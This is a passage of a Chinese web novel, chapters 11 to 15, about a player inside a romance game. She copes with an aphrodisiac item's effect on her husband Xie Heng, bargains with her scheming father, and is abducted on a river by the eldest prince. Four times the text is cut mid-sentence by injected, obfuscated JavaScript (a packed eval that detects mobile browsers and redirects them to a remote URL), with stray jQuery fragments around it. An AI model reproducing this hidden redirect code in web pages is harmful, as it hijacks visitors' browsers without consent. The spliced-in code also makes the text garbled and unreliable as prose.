你继续诱哄:“你娘对公主殿下这么忠心啊?她对谢公子家好像也印象不错。好奇怪,为什么呢?你一定知道吧?我四妹妹什么都知道,最厉害了。” “我知道,因为我娘和谢……” 母亲再坐不住,将四妹强硬拉走,恐慌不安地望向父亲。三妹也跑了过去,跟母亲站到一起。 你笑看父亲:“你要得饶人处且饶人。” 父亲面无表情:“带你夫君回房,我要处理家事。” “行。” 你揪着谢珩的袖子往外走,将要出门,你回头望向那个女人。 “孩子管生不管养吗?教这么蠢。在我这吃亏是小,以后她长大出门被别人害了怎么办?” 继母忽然甩了一只白瓷瓶扔你,动作阴狠干脆。 你闪身躲开,瓷器磕了门框碎得四分五裂,极其刺耳的一声。两个妹妹目瞪口呆,哭都忘到脑后。 你唉声叹气:“哎呀,没扔到,都碎了。” 弯腰捡起一块碎片,你原模原样投掷回去,惊得对面如鸟雀四散,两手拍了拍不存在的灰。 “我还回去啦。” “桓筝!” “娘!你的手破了!” 【声望+10】 【心性+15】 无视身后的狼藉,你拉谢珩的手腕径直穿过长廊,有侍女上前侍奉,带你们回你出嫁前的院子。 这是一出天大的下马威——在桓府家仆的眼中,你无疑是找到了靠山,迫不及待借着新婚回门的名义,向欺压你多年的继母施展报复。 游戏给你准备的档案只写了你的爱情、你的恶行清单,像原生家庭这种不重要的背景板没有得到一句描述。 你需要主动翻阅其他角色的人物档案,才能从庞杂的信息里筛选出关键点,将事情脉络梳理明晰。 冷漠的爹、早逝的娘、笑面虎继母,割席的姐、招人喜欢的妹妹。 好窒息。 房门关上,久不住人的室内静谧幽冷。 【谢珩好感+5】 你有些意外。 跟别人吵架也能加好感? 你疑惑抬头,瞧见他模样时怔住,倒吸一口凉气。 熟了?脸这么红? “谢公子,你生病了?” “……不知为何,身体很痛。” 他眸光失焦,说话间,鼻子毫无预兆滴血,血滴如断珠,浸透皎白的领口。 谢珩慌乱背身,用帕子擦拭血源,却怎么也擦不干净。 “筝娘…我不陪你在家吃饭了……” “我这样,你会被他们笑话,我……” 他为自己的失态羞愧不已。 你绕到他正面,卷帕子塞进他鼻孔。 “算什么。走,带你去洗脸。” 他杵在原地不动。 你拉他的手,他像藤曼一样五指攀附你的指缝,细丝合拢之际,又惊然远离,将手藏到身后。 至此,他搞不清的状况,你搞懂了。 “你现在是不是浑身热热的?” 11. 第 11 章 问侍女要来一盆井里新打的冷水,你在屋里给谢珩处理鼻血。 铜盆中水波微动,乌沉沉映出一道人影,被你浸湿帕子的手打散。绢布旋转拧紧,水流哩哩啦啦作响。 湿淋淋的、冰冷的帕子糊到谢珩额头,激得他呼吸停窒,你却没有怜香惜玉的心思,敷衍蹭拭他脸上干涸的血痕。水线沿着平直的眉骨淌下,抚闭一瞬眼睛,落到肩上浸透成圆痕,星点的水珠留恋般挂在他的睫毛上。 反复用冷水湿敷他的鼻梁,渐渐的,盆中水化成血色,谢珩的鼻血止住了,人也从【暖情香】的功效里清醒得七七八八。 受了好一番无妄之灾,劫后余生,他矜贵的面容上透着遮掩不住的疲倦。 你有些想笑:“什么时候感觉不对的?” 谢珩尚余恍惚,听到你问,努力将涣散的视线集中。 “马车上……” 也就是说【暖情香】做到了“点燃即用”,之所以没生效,是道具使用的对象有问题。 “能说说你是怎么忍的吗?” 你是真的好奇。 谢珩【人物介绍】页面记录年龄是二十一岁。这个年龄段的男生应该是人生精力最旺盛的时候,他居然能默不作声忍那么久。 如果不是鼻子流血,你真的以为他只是生病发烧。 到底是什么人,忍者吗? 谢珩感到窘迫,被折磨过的双眼微红,湿润润望着你。 “我……到底是隐疾,不好惊动别人。” “嗯。” “嗯??” 你震惊了:“你觉得是隐疾?你觉得这是病?” “……” 因为是妻子的问话,谢珩选择克服羞耻,与你坦白。 坦白他十岁以后的每个早晨都要痛这么一回,发热症状也有,但放着不理,慢慢就会自己平息。因患病位置的隐私,他没能鼓起勇气求医问药,这些年就生生忍了下来。 他没想到今日会在马车里犯病,病情这样严重,还有了以前从未有过的想咬人的冲动。 你瞠目结舌:“想咬谁?” 他捏了捏眉心,视线飘向一旁:“你。” “阿问想咬吗?” “不想。”回答很果断,很嫌弃。 你一本正经:“看来你这病是专门针对我生的啊,你心里那么讨厌我?” 谢珩愣住,膝上的手攥起,想解释,又怕自己以后再犯病真的伤到你。 反复折磨了自己几遍,他蔫蔫自弃:“筝娘还是与我和离吧。” 你再忍不住,对着他笑出声。笑声明朗,像晾晒过的衣裳一样干净温暖。 谢珩耳根红透,无力纠正:“筝娘,疾者,心之苦也。宜存怜悯,不可讪笑。” 你点头:“好,不笑。” “不过谢公子,是你在闹笑话,可怪不得我。” 这是你第一次直面性教育缺失的后果,男生不知道这档事实在少见,如果不是游戏,你会认为对面的人在装纯。 你用现代知识向他科普了一些生理现象。 他听得惊惧,仿佛你在说恐怖故事。 你讲得越客观,越明晰,他的神情便越崩溃,越想从你身边逃开,到一个看不到你的地方喘息。 你托脸笑看他,问:“谢公子,你长这么大,就没听过男女敦伦、巫山云雨这种词?” “……” “幼时著文,不慎用过‘云雨’一词。被曾祖母痛骂淫词滥调,之后在夫子那记了禁词,再未涉及。” 所以,他是知道书面用语,也知道男女成婚后会有那一件不太能见光的事。但家里管得严,没机会进一步了解,只停在朦胧的印象上。 你回想起昨天问礼时曾祖母劝命谢珩的话。谢珩父亲似乎颇好女色,令老人失望透顶,不得不将全部希望寄托在曾孙身上,于是给谢珩养出了如此感人的贞操。 ——这就没意思了。 你能感到游戏方给出的诚意。 世家大族的公子,尤其是这个混乱时代的架空背景,想要保持绝对纯洁,这样严苛家教的设定算是一种绞尽脑汁后的用心。 但。 也可以有通晓世事,主动选择洁身自好的男角色人设存在啊。 虽然不切实际,但两者对比也就是五十步笑百步的程度。相较于合乎常理的考究,你更想选个合拍会玩的。 男人太纯情很扫兴,游戏里不太应该…… 是好感值不够高,无法触发那种剧情? 你打开数值页面。 【美貌26/30 体能21/30 健康100/100 心性390/1000 声望916/1000 谢珩好感55/100】 【通关进度3%】 待办:【趁虚而入……】 进程:【34%】 可能? “咚咚”两声,纸门上透进一道人影。 “二小姐,府君传您去书房见面。” “哦。” 你站起身,往下拉了拉衣摆。 将要出门,你回头,准确无误对上某个人的目光。清澈,犹豫,纠结,还有一丝秘而不宣的依恋。 你对他笑:“放心,今天这事我不会告诉任何人。” 谢珩:“……” “累的话就去床上睡一觉,我回来再叫醒你。” 书房路上,待办任务弹了出来。 【你出色化解了继母的刁难。不知何时起,应对她变成生活中无足轻重的小事,你早已不是当初那个受制于人的女孩。】 【从小到大,父亲不曾将你的艰难处境放在眼里。直到你自作主张在皇帝面前撒谎,嫁入谢氏,他才真正注意到你这个女儿。】 【明面上的一纸婚约,暗中破坏了许多人的好事,他要你做一个选择。】 【请谨慎与父亲对话,选择不同,将通往不同结局。】 【建议存档】 除了第一个叫谢珩回房睡觉的待办任务不影响结局以外,剩下几个都与结局走向息息相关。可见这个游戏中存在“新手适应期”一说。 而你现在所处的世界是这个游戏的第一关,或许进入第二关会出现什么新的规则? 只有未来的你才能给出答案。 你在侍女恭敬的请示下进了父亲的书房。与庭院相同风格简朴的布置,书籍零零散散摆在架子上,宽整的桌案装了云纹卷边,上面压有许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230476|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多手稿,处理它们大概是书房的主要功能。 “筝娘,你在看什么?” 你收敛了在谢珩面前常挂在脸上的笑意,表情平淡:“看你的东西,不能看吗?” 父亲没说什么,为你倒了杯茶。 “坐吧,说说你的事。” “说什么?” “说你的不满,你与庾浔不是相处得不好?如今我不打算留她,你可以说说你的委屈,该为你讨回的,我会为你讨回。” 庾浔是继母的名字。 “我的不满都已自己讨回,不必借父亲的手。” 你在拥有【父亲】称号的中年男子眼中看到一抹赞赏,只是如流星般,看过一遍,想再找时已消失得无影无踪。 “这是你的抉择?” “什么抉择?” “和你姐姐一样的抉择。” 四目相对,你明悟他的言外之意。他递出一块肉,你想要,就是选择跟他身后,成为他棋局上的一子。 你不想要,就是与他分道扬镳,往后福祸都不相关。 “父亲为什么突然要我选?难不成觉得我刚刚的表现胆识过人,冰雪聪明?” 父亲笑了声:“我倒是头回遇见如此夸耀自己的人。” 他的声音冷了几度:“自作聪明,嚣张跋扈。你以为你当着我的面给庾浔难看,就算旗开得胜?你想过这事传出去是治你不孝的把柄吗?此时你尚且得意,这些传闻奈何不了你,来日呢?来日你一旦失势,与继母争斗便是压死你的铁证!你觉得顾及家族利益的谢珩能保你,还是被你驳了妻子脸面的我能保你?” “这么多年,筝娘,为父没等来你的改变。凡事沾到谢珩那竖子,你就要失去神智,干出些丢人显眼的蠢事来!” “为了嫁那小子,你敢把谢氏与大皇子联合密会的事给皇帝透风。你究竟知不知道,皇帝未必对此没有耳闻,他为何不派人出手,他在等什么?你做了这个透消息的人,谢氏这笔帐会算到谁的头上?” “……” “年轻人,做得激进些我能认了。谁没有年轻的时候?” “但你安排完一切,不是功成身退,而是从凝香宫一路哭哭啼啼跑到皇帝面前,顶认了九公主与谢氏私联的位置。你要让陛下如何趁机发作谢家?又要陛下如何想我?你是我的女儿,我放女儿与谢氏子嗣谈情,是否有阳奉阴违的嫌疑?” 父亲言辞诚恳,诚恳地表露着对女儿的无语。 “今日,你我父女难得面对面喝茶,筝娘,就说说你的选择,说说你想做的事。” “你想要的是谢珩,想要虚无缥缈的男欢女爱,那以后便可同你大姐一般,借着今日与你母亲的争端不再回来。” “你想要权势,想在除了我以外的天下人面前公证你的胜利,我可以让你入局。你很有胆识气魄,离了让你昏头的情爱,去谢氏族人中做我桓氏的细作,假以时日,你必定成了可堪大用的人才。之后我得势,自然有你一份!” 你静静看着父亲。 他道:“想问什么,问吧,仅限今日,你有何疑问我都可以回答。” 你点点头:“所以继母和谢氏的谁怎么了?是私交好友还是另外找了情夫?” 父亲:“……” 12.第 12 章 比起恋爱游戏的三流权谋,你对八卦更感兴趣。 【父亲】到底是被绿了还是被背刺了对你来说真的很重要。你希望他是被绿了,这样热闹些。 很可惜,都不是。 “庾浔贪财,年前从谢氏名下低价购置几处私产,因感激心生偏意,待谢氏与九公主亲厚些。我已告诫她少动心思,下次再与谢氏联系提前知会我,免得被人套话而不自知。她一介无知妇人,没你想的那么大胆。” 说得像你蓄意挑拨。 你笑:“是父亲先说不打算留母亲,我才顺着您的话猜测一番。” 父亲面色平淡:“那是为你开出的条件,你不愿,自然不必动她,这也是我对儿女私情的态度。” 他有意给你树立一个榜样。 你喝了口茶,口感醇香回甘,和眼前的烂人风味截然相反。 “您做这些是为什么?想要铲除谢氏,还是天下之主的位子?” 他轻笑:“不比你有野心。人生太短,我若还有几百岁可活,未必不想争。” 他理了理铺在膝上的长袖:“可我已近天命,有多少人死在这个岁数?为官在朝,犹如临池洗笔,稍有极端便波及甚远。若真如你所说图谋了那些事,我死后,你们还有命可活吗?” “世家当道,彼此制衡,可强弱更替,但想让某家彻底出局,接手空出的利益,我们家还不够火候,强求只会碍到司马家的眼。” “祖上本就出过叛臣,若是再失圣心,随便被谁写几封檄文,便再无复起之日。想在建康站住脚,我们忠心的只能是皇帝,以及皇帝心中的下一任皇帝。” “谢氏傲慢,想有从龙之功,却筹备太早。还有那个九公主,年轻人毛躁,以为别人看不出来什么心思。” “她的确聪明,用计准狠,但善心是她致命的弱点,也是她不如你的地方。” 父亲毫不保留地将局势平铺在你面前。 “你问我做这一切为了什么,我也不清楚,也许是趁着还有力气,想得到的更多些?” “我想得清楚。你呢?筝娘,你还没有给我你的选择。” 虚拟面板自动展开。 【你的选择:】 【A.与桓氏同心打拼事业】 【B.选择谢珩】 选项半透明立在你身前,你露出了困惑的表情。 父亲问:“想不通?选不出来?” 犹如长者逗稚童。 你道:“我不知道为什么要选,这两边冲突吗?” “我选完撒谎,你又看得出来吗?” “谢珩成婚起就为我所有,早已不是谢氏的东西。更何况我喜欢的人是谢珩,不是整个谢家,您为什么觉得我会因那些不相干的人为难,会难以抉择?哪怕到了非要二选一的时候,我也有本事不让谢珩成为被舍弃的那个。” “所以我不选。” “我都要。” 选项碎了。 连同痕迹化成点点的荧光,一并消失在空中。 “我会帮你做事,以此为代价,我要你给我权力,也要随时掌握你们在背后的动向。” 话音落下,书房一阵寂静。 父亲握着茶杯良久,喉咙里溢出真正的、发自内心的笑意。 从此刻开始,你打动他的不再是血缘,不再是谢氏新妇的身份。他也不简简单单只想策反你,他正视了你是他的血脉,你的身上看得出他年少时的影子。 你比姐姐更像他。 “我答应你,但我也随时会舍弃你。你走的每一步都必须告诉我你很有用,否则我们的合作终止。” “可以。” 【挑战成功】 兑换奖励:【学人鹦鹉】x1 【别小瞧这只鸟,它真的会学你。】 点击详情。 【设置地点、对象,可完美模拟一次使用者的行动,达成对应目的。】 收入背包。 你决定回家的时候用掉它,让这只【学人鹦鹉】替你把这个父亲胖揍一顿。 光是看着他,心里就有股火气上涌。是因为他不是年轻帅哥的缘故? “接下来,第一步你要做什么?” 他开始考考你了。 你忍了忍抽动的嘴角,道:“拒绝吃午饭,带谢珩回府,做出与娘家决裂的假象,等待您的暗线联系。” 父亲淡笑颔首:“不错,你可以回去了。” “好。” 你砸杯离开书房,门关的前一刻,在他欣赏的眼神里,你说:“把我和谢珩份的午饭用食盒装好,捎给翠儿柳儿,今日回门,谢家不会准备我俩的饭。” 父亲:“……” 他点头。 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232721|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微笑将门摔上,转身,做出一副怒气冲冲的模样,大步经过长廊。 你踹开卧房的门,与仍坐在原位的谢珩对上眼睛,在他疑惑的目光中拉起他便走。 阿问瞧见情况不对,小跑几步跟上。有了早上的教训,他这回老实得很,什么都没问。 你气势汹汹,唯有陈管家哎呦哎呦追着你,让你息怒,不要在这么重要的日子与府君赌气,叫外人看笑话。 如此情真意切,他又对桓氏的事知情多少? 你与谢珩坐入马车,车夫受令御马,马车晃悠悠调转方向,往建康最为繁华的青溪乌衣巷驶去。 你靠到谢珩肩上。 权力没有中介,你并不打算真的给便宜爹做事,在自己的存档里为桓氏或其他主君殚精竭虑。 他来来回回解释那么多,装成一朵中年老白莲,不清楚自己想要的是什么。 能是什么,他想要的除了权势,便是利益。 你捏了捏谢珩的手:“不好奇我为什么不留在桓家吃饭?” 谢珩道:“可是你父亲为正堂一事数落了你?” “是啊,他说我欺负人,你怎么看?” 谢珩没有犹豫:“他错了。” “你一向处事温和,待人真诚。能把你惹成那副样子,想来对方不是什么好人。” “说得真好。” 你捏着他的下巴点吻。 唇将启时,想到他才露出过的纯情模样,心头顿时没了亲吻的欲望。 你和他分开一些,头转向车窗,想翠儿柳儿什么时候能跟上,把本就属于你的午饭送过来。 透着粉的温凉的手指刮过你的脸颊,谢珩忽然凑近,压住方才没有贴紧的唇瓣。 这是他第一次主动吻你,闭着眼,睫毛轻颤。 “不必迟疑……” “你是我的妻子,无论对我做什么,我都会答应你的。” “想要什么,以后都来找我。” “我什么都愿意为你做。” “我怕你误会我咬你。” “……” 你看着他笑出了声。 谢珩难堪至极,脸憋得通红。 笑够了,你在他怀里直起身,仰头咬上他的唇。 车帘被人掀起。 翠儿:“小姐,饭——” 她退了出去。 13.第 13 章 晨间睡醒,谢珩不在。 你从翠儿的口中得知,他在朝中有官职,每天五点多到秘书省上班,一直到下午五点放值。这几日之所以在家,是在休婚假。 七日假期结束,谢珩起早去官署工作。 柳儿略显满意地说:“姑爷担心吵醒小姐,衣裳都是到外间穿的。” “阿问唠叨了一早上,说待会要送壶姜茶给他家公子驱寒。也不看看现在是几月份,仔细给他家公子喝中暑了。” 说完,她掩着嘴取笑。 你两手撑着床沿,心里感慨谢珩每天十二个小时的地狱工作时长。 跟他相处的时间只剩傍晚那一段,对你的通关进度十分不利。 还是得从其他地方补补。 “告诉阿问,姜茶我来送。” 才嘲笑过阿问送姜茶的柳儿笑容凝固。 她换了副严肃的面孔:“小姐考虑得是,就算入了夏,天未明时也容易受凉。我这就去告诉阿问让厨房准备。” “……” 你被逗笑,“哎”声叫她:“再让他们做些不怎么甜的点心,一起装盒。” “好嘞小姐!” 柳儿风风火火奔去树荫下揪起了阿问。 他被谢珩留家照应少夫人,然而翠儿柳儿根本不允许他近身,此时正一人闲着郁闷。 柳儿光拎后领,就提猫般把他从石阶上拎站起来,斜拖着往厨房走。 “哎哎哎!你干什么!疼!” 阿问挣扎扑腾得分外厉害。 柳儿到底松了力气,等他站直,命令道:“我们小姐要去官署看姑爷,你去交代一番,准备车马!” “啊?公子不是才去当值半天,怎么就去……看……” 声音在柳儿恐吓的眼神里变弱。 欸。 少夫人陪嫁带来的这一对丫鬟,虽长相相同,但性格迥异。喜欢扎红束带的更凶,叫柳儿,扎绿束带的文静些,叫翠儿。不知谁是姐姐,她们平日里只围着少夫人转,私下很少和人打交道。唯一知道的一点,是惹了她们生气,就真的要被当场揍一顿。 他一介书生,哪敢。 “我知道了,我去安排,你放我好好走路!” 这边,听到你要出门,翠儿为你搭配了三套不同色系的装扮。 一套鹅黄。 【对襟宽袖短襦】袖口绣乳白五瓣花。 【间色长裙】水绿与米白相间。 配饰:【金枝步摇冠】、【鹅黄丝带】、【圆润映绿珍珠耳钉】、【红宝石项链】,【金镯/细】 一套浅绿。 【交领上襦】白色领口、袖口,绣有墨绿藤蔓花纹。 【长裙】裙身绣花鸟图。 配饰:【翡翠钗】、【浅绿玉梳】、【海棠绢花】、【银流苏耳坠】、【银流苏项链】、【玉镯/一对】 一套水粉。 【对襟齐腰半袖】袖口与衣领绣有白色缘饰。 【长裙】裙摆层叠花瓣样式。 配饰:【珍珠花冠】、【琉璃耳珰】、【镶金白玉项圈】、【粉玉扁镯】 你选择了鹅黄色系的套装。 【美貌+5】 【已突破数值上限,恭喜完成美貌进阶】 【当前美貌值数据为:31/50】 【你是个远近闻名的美人】 …… 升级了? 翠儿帮你穿戴整齐襦裙,扶你去铜镜前坐下,梳髻上妆。 乍一下从镜中看见自己的模样,你有些愣怔。 长相是没变的。 但整体看上去,就是比原来的自己好看很多倍。皮肤的肤质更加清透细嫩,唇色红润。睫毛不夹而翘,眼下卧蚕的形状更鲜明。 还真能变好看啊—— 翠儿动作迅速地为你梳整发髻,打结,脸颊两侧有和衣裳同色的鹅黄发带垂落。滚圆的绿珍珠挂在耳垂,比不戴时添几分雍容和乖巧。 你望着镜中的自己,翠儿为你画眉,柳叶弯弯,眉长入鬓。 你喜欢这个自己。 喜欢这个与现实不同,美好、明媚的自己。 出了游戏以后,你打算学习化妆。也许付出一些努力,做出一些手段,能在现实世界也渐渐接近眼前的模样。 打扮完备,翠儿随行为你撑伞。柳儿手拿食盒,与阿问一同跟在你后面。 这时候的夏天温度并不算很高,体感高温差不多是30°。虽然穿着长袖长裙,但里面的内搭是丝绸做的滑溜溜的吊带和短裤,布料的材质也足够透气,并不会感到闷热。 一路上,你都扒着窗户看外面沿街的商贩,不知不觉就到了秘书省。本也相距不远,走路大概十五分钟的脚程。 你在柳儿的搀扶下落了地,鬓角的发带被风带动,在空中荡出好看的弧度。 身处一众青绿官服之间,你这身鹅黄裙装分外显眼。仿佛抹去轻雪的腊梅,也像迎空绽放的槐花。 “桓小姐?” 有人惊讶地认出了你:“为何……” 阿问上前与对方交涉,表明来意,得了对方几句调侃。 他回身恭敬给你带路。 你被引入藏有重重书架的校书阁。 踏入其中,一阵凉风夹杂着浓郁的书香迎面拂来。你听到了因某个字而争论的人语声,漫步在连接房梁的书架之间。随手抽了一卷,里面内容和谢珩房里的书不一样,没有句读,还有许多涂抹的痕迹,字迹也颇为潦草。 简单翻看几眼,没看出写的什么,你放回架子上,回身又抽了本竹简。 竹简腾出的空隙,显露出一张恬然静谧的皎洁之容。 认真在书卷上落笔的人余光察觉到光亮,朝你抬眼。 四目相对,他微微一怔:“筝娘?” 这是穿着青色官服的谢珩,乌发高束,长身玉立,衣摆垂坠一丝不苟。和平时在家给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240837|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的感觉不大一样。 你跟他挥手:“我来看你了,开心吗?” 不等他回答,你几步绕过书架到他面前,眼睛一眨不眨盯他。 谢珩脸上一点点透出胭脂般的红,有些无奈:“筝娘。” 你解释道:“我这是把今天早上没看到的份补回来。” 谢珩:“……” “可有吵到你?” “没有,但我和阿问都怕你挨冻,这不,我给你送了姜茶过来。” “这时候已经不会冻到了。” 虽然这么说,但谢珩还是接过了食盒。 阿问殷切对他嘘寒问暖:“公子,阿瑞可周到?可好用?可有偷懒?你用得惯不惯?要不还是我……” 你道:“看啊,谢公子,阿问可不爱跟着我了。” 阿问汗毛倒竖,想起自己含冤而死的月钱,激动道:“我没有!我爱跟着你,我最爱跟着你了!” “当真?” “千真万确!” 你点点头,表示暂且接受了他的投诚。 阿问松了口气。 他可不敢再惹你不痛快,挨揍不说,公子那里还要与他疏远。 他偷瞄一眼谢珩的脸色。 然后天塌了。 公子怎么用那么陌生的眼神看他? 他还不够听话,还不够忠诚? 这次又是哪里出了问题! 你掀开食盒的盖子,给他介绍里面的食物。 “我特地让柳儿拿些不那么甜的点心过来。甜点这种东西,不甜的最好吃。” 边说,你边塞嘴里一块。 “透花糍,糯米做的,里面有豆沙。你看,做得可精致了,馅料像花蕊……” 只给他剩了两块。 根据盘子的大小,不难猜出原本点心的数量,之所以所剩无几,是因为被你在路上一块一块吃进肚子。 你还想再拿,谢珩把食盒盖子关上了。 面面相觑,你比出食指:“再给我吃一个,最后一个。” 谢珩:“……” 你搓搓手,拜他:“给我吃吧。” 谢珩:“……好。” 最后一块点心吃到嘴里,你舒心了。 “那就这样,我不打扰你工作了,待会我要和翠儿柳儿去青溪划船玩。先走了!” “筝娘。” 谢珩叫住你。 你回过头,对上视线时,他莫名垂下目光。 “让阿问留下,阿瑞随你一起,阿瑞身手更好些。” “哦,行啊。” 你一门心思划船玩,只给他留了一抹鹅黄的背影。 阿问还是阿瑞还是阿谁都随便。 你有翠儿柳儿就够了。 阿问感动地看着主子:“公子……” 在公子心中,还是他更有才干,更值得重用的吧? 谢珩拎着食盒背对他:“离我远些。” 14.第 14 章 正值夏日,青溪水畔有许多纳凉的年轻男女。有的闲坐柳下攀谈诗词,有的泛舟水上笑语盈盈。 没人比这时的他们更无忧无虑了。 你撑着船桨,也融入进这悠闲自在的氛围,不甚熟练地向前划行。 翠儿柳儿担忧地坐在船尾。 “小姐,你累不累?划不动还是让柳儿来吧?” “我划得动。”就是稍微有点不会用力。 才保证了一句,木桨突然脱手。先是甩浮在水面,你趴到船边伸手去捞,结果水流将你们越分越远。 “怎么办……” 船桨就剩单个,可以从中间掰成两段慢慢往岸边划吗? 翠儿抚了抚你的肩膀:“没事,小姐,看翠儿的。” 她飞快将裙摆扎到腿上,一副要施展轻功的架势。 此时空中闪过一道黑影,待你看清,飘远的船桨已笔直插进船底,显然是被人用内力投掷过来。 船身被失而复得的桨扎漏,水从破洞处汩汩流入,没过脚踝,浸湿了鞋子和裙摆。 是谁扔的? 柳儿愤怒到不行:“谁干的好事!站出来!” 翠儿镇静询问:“小姐,要向其他船只求救吗?” 你左右观望。闹出这么个乌龙,临近的船都看在眼里,要是有出手相助的念头,怎会等你们求援。 他们全部都认得你,想看鼎鼎大名的你如何处置这等狼狈的情况,以及……你要向谁的船求救。 你伸手探了探水温:“抱我用轻功回到岸上可行吗?” 翠儿摇头:“没有落点,最多只能跳出几步,来不及到岸边就要掉进水里。” “那没办法了,我们游回去吧。” “游回去?”柳儿震惊喊出来,“可是小姐,你会水吗?” “差不多。” 你将长袖拢起,扶着船身小心踏入水中。第一感觉是踩空下坠,紧接着流动的水将身体托举,手搭着沉了一半的船身漂浮在水中。 将近晌午的水温格外柔和,水质又清澈,不考虑湿身上岸的狼狈,游在水里当做消遣也不错。 你松了船板,手臂在水中展开,交替活动前进。 “你们俩跟上我啊,游不动了就拉着我的脚。” “……” 她们才不会游不动呢。 为了证明实力,她们鼓足了劲游到你的身前。 “还是我们来为小姐开路。” 你不觉得有什么路可开。 调整方向,你与她们游成并排,摘了朵水中连片开放的小黄花握在手里。 【体能-1】 周遭按了暂停键般的人语声陆续恢复,依稀听见几句讥笑。你仰头坦然去看,与笑你的【李姝羽】对视,对方愣了一下,尴尬低头收拾表情。 “在聊我?” 她讪笑:“我并未……” 你朝她的船只游了过去,李姝羽仿佛受到惊吓,瑟缩往船舱里挪。 撑着船沿够身,你将方才采的荇花插进她的鬓发间,有水珠落入她发丝,沿着发尾流下。 “长得够美,允许你笑我。” “……” 你多看了那张典型江南美人的脸几眼,回身投入水中。 没等游动,手被人握住,那人使了大力气,竟将你腾空提入船身。 你震惊看着不知何时从船舱里冒出来的青年,浑身雨落般滴水。众目睽睽之下,他解了外衫罩在你身上,衣袖在你脖颈前打结。 这人长着极为深刻的眉眼,长睫黑眸,乌发血唇。 最令你惊讶的不是他俊朗的长相,而是他的身份。 【大皇子】 【司马煦】 那个一直活在游戏文案里的被谢氏看好的皇子,女主的亲哥。 竟然在这时候遇到了。 他的态度也还不错? 已知你在皇帝面前背刺九公主和谢家,他作为女主同阵营的亲哥,不可能不知情。 难道他是笑面虎的人设? 他到底在笑什么? 你纳闷看他,又回头看翠儿柳儿,她们也游到了大皇子与李姝羽的船边,但顾及身份,没有贸然上前,担心给你惹麻烦。 “筝娘。” “嗯?” “嫁我为妻吧?” “嗯???” 你不知他在打什么算盘,“我已和谢珩成婚。” “我知道啊。” 李姝羽在他身后,脸色难看道:“殿下,不要开这种玩笑。” 司马煦捡了捡贴在你脸上的湿发:“没玩笑。突然见到筝娘,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246182|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现和小时候不一样了,我好想要哦。” 你:“……” 来者不善。 你慢慢拆下他给披的衣裳,试图钻空子逃下水,被司马煦的侍卫拦住。 “小姐!” 见你受到威胁,翠儿和柳儿毫不犹豫跳上船,挡你身前,抹了把脸上的水。 “殿下!你要对我们小姐做什么!” 司马煦道:“不明显吗?抢回去做夫人。” 李姝羽唇抖了两下,才劝出话音来:“筝娘如今是谢氏的少夫人,你这……” “不是正好?父皇巴不得我和谢家结梁子。” 你在此处存档,朝翠儿柳儿道:“带我走!” 翠儿领命,解决你周围的侍卫,身手轻便又迅捷,一般人难以招架她的功法。柳儿则将你拦腰抱在怀里,躲避蜂拥而上的侍卫,朝侧旁的船跃过去。 但是没用。 寡不敌众,翠儿和柳儿最终还是落败于侍卫的夹击。 连缓冲的时间都没有给,你被呈送给司马煦时,日光下白得刺眼的刀刃割入了翠儿和柳儿纤细的脖颈。 血喷涌四溅。 其中一滴血液溅到你的唇角。 轻而易举地,她们没了生息。 司马煦捏起你的下巴,对待一件玩物般:“还跑吗?” 你甩了他一掌。 读取档位,回到向翠儿柳儿求助之前。 这次你试着讲理,如果他想要的是表面上与谢氏决裂—— “何必从我入手?天底下的人都知道谢珩喜欢的人是九殿下,你把我抢走反倒是在陛下面前成全了他们!换一个吧!你放了我!” 司马煦拾起你撇下的青纱罩衫,拎着领口甩了甩灰尘,重新披到你身上。 “说说看,你觉得我该换谁?怎么换?” “换……” 除了谢珩外,你只想得起一个谢氏的人。 “谢珩二叔院里的三哥也定亲了,你去抢他的未婚妻吧!” 听你这话,司马煦弯了弯眼睛,笑得有几分女主的影子。 “巧了,他未婚妻还真的也在我这。” 他对着李姝羽招手:“筝娘让我抢你走,表妹,你可愿意?” 李姝羽脸色难看得和白灰一样,怎么可能愿意。 15.第 15 章 